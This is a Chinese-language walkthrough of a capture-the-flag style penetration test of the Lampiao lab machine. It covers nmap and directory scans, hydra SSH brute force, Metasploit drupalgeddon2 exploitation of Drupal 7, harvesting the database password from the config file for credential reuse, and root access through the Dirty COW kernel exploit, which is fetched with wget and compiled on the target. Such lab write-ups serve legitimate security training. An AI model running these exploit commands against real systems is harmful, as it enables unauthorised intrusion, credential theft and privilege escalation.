确定主机 ip
信息收集
漏洞扫描
SSH暴力破解
1898端口(Drupal 7)网站漏洞扫描
漏洞利用
使用 msf 利用 drupalgeddon2漏洞 getshell
Linux shell 下收集信息获取tiago 用户 shell
提权
利用 SUID 权限程序提权失败
利用本地提权漏洞-脏牛漏洞提权
Lampiao 靶机渗透
Lampiao 靶机
确定主机 ip
netdiscover
或者:arp-scan -l
信息收集
端口扫描
命令:nmap192.168.150.145 -p- -O -sV
发现开放的端口:22,80,1898(Drupal7)
访问80端口:192.168.150.145:80
访问1898端口:192.168.150.145:1898
网站目录扫描
dirb http://192.168.150.145:1898/
发现了一些敏感文件 robots.txt、web.config、xmlrpc.php
通过网站生成字典
cewl http://192.168.150.145:1898 > userlam.txt
cewl http://192.168.150.145:1898 -w userlam.txt
可以查看内容:more userlam.txt
漏洞扫描
可以对发现的端口进行破解
SSH 暴力破解
使用从网站生成的字典作为用户名,以及下载好的top1000 字典作为密码进行破解
kali中的字典:wordlists
hydra -L userlam.txt -P userlam.txt ssh://192.168.150.145
扫了好久,还是没有找到。
1898 端口(Drupal 7)网站漏洞扫描
使用 searchsploit 搜索 Drupal 7: searchsploitDrupal 7
搜索 Drupal 7. Remote 定位 Drupal 7 的远程代码执行漏:searchsploitDrupal 7 remote code exe
搜索 :searchsploitDrupal 7 | grep (Metasploit)
可以看出,远程代码执行,并且有对应的模块,
可以发现漏洞最多关键字是:Drupalgeddon,百度搜索:Drupalgeddon
可以发现 Drupalgeddon2 漏洞应该是影响最多的,再次使用 searchsploit 搜索
可以发现有两个实际的漏洞利用程序(都是ruby 的),一个 POC
自己调用比较麻烦,使用框架比较容易一些。
漏洞利用
使用 msf 利用 drupalgeddon2 漏洞 getshell
msfconsole,进入 msf 控制台,输入:searchdrupalgeddon2
或者:searchdrupal
输入:useexploit/unix/webapp/drupal_drupalgeddon2
设置ip,端口,发起攻击
set RHOSTS 192.168.150.145
set PPORT 1898
run
反弹shell成功
输入:ls ,查看当前目录的文件,发现有一个mp3,还有一个audio.m4a
可以发现一个mp3,访问该文件,能播放,但是听不懂
还有一个录音文件 audio.m4a,访问该文件
输入:download audio.m4a, 下载该文件
里面的播放内容是:user tiago
在 msf中切换到/home 目录下,查看用户文件夹
可以确定有这样一个用户tiago,查看之前生成的字典,发现还真有这个名字
再次使用密码字典破解ssh
hydra -L userlam.txt -P userlam.txt ssh://192.168.150.145
发现什么没有找到
Linux shell 下收集信息获取 tiago 用户 shell
输入:shell , 进入 linux shell
输入:python -c 'import pty; pty.spawn("/bin/bash")', 切换为bash
百度搜索一些Drupal7 数据库配置文件
在 shell 中查看文件:
数据库名drupal
用户名:drupaluser
密码:Virgulino
试着访问数据库: mysql -u drupaluser -p Virgulino
显示没有权限
再次尝试 mysql 用户名密码登录:mysql -u drupaluser -p
居然成功了,看一下数据库
输入:show databases
use drupal
show tables
输入:select * from users;
密码是加密的,还是需要破解,现在已经筋疲力尽了,所以暂时不去破解了可以用数据库的密码切换一下 tiago 用户:Virgulino 发现可以切换
使用 id查看用户信息,sudo -l 查看权限信息,发现没有权限执行 sudo
后来再一次尝试使用网站生成的字典破解ssh 密码,发现也可以破解出密码是 Virgulino
hydra -l tiago -P userlam.txt ssh://192.168.150.145
提权
利用 SUID 权限程序提权失败
查找可以利用的SUID 权限程序
find / -user root -perm -4000 -print 2>/dev/null
暂时没有发现可以利用的点(常见可利用程序:nmap,vim,find,bash,more,less,nano,cp)
利用本地提权漏洞-脏牛漏洞提权
查看系统版本:uname-a, lsb_release -a
系统:Ubuntu14.04.5 ,内核 4.4.0-31,i686
使用: searchsploit linux 4.4.0 搜索内核编号
将源码拷贝到自己的目录中,下载到目标机器中编译执行,发现有的编译不了,有的执行不了。
使用 searchsploit 搜索脏牛漏洞: searchsploit linux dirty
将40847.cpp 拷贝到自己目录中,查看代码如何编译
输入:cp/usr/share/exploitdb/exploits/linux/local/40847.cpp .
输入:more 40847.cpp
启动web 服务器:python -m SimpleHTTPServer
python3 -m http.server 80
下载文件到目标机器中:wget http://192.168.150.137/40847.cpp
在目标机器中编译代码(切记不要在自己机器上编译)
查看命令
编译命令:g++-Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
参数解释:
1.-Wall 一般使用该选项,允许发出 GCC 能够提供的所有有用的警告
2.-pedantic 允许发出 ANSI/ISO C 标准所列出的所有警告
3.-O2 编译器的优化选项的 4 个级别,-O0 表示没有优化,-O1 为缺省值,-O3 优化级别
最高
4.-std=c++11 就是用按 C++2011 标准来编译的
5.-pthread 在 Linux 中要用到多线程时,需要链接 pthread 库
6. -odcow gcc 生成的目标文件,名字为 dcow
执行./dcow-s 提权成功,切换到 root 目录,查看 flag.txt
小结
使用了以下工具:
nmap,joomcan,msf,python自己 http 服务,gcc,g++ drupalgeddon2 漏洞,脏牛漏洞
本节涉及的失败:
ssh暴力破解失败
寻找suid 程序提权失败
编译linux 提权程序失败
领悟小结:
暴力破解不是万能的,信息收集才是万能的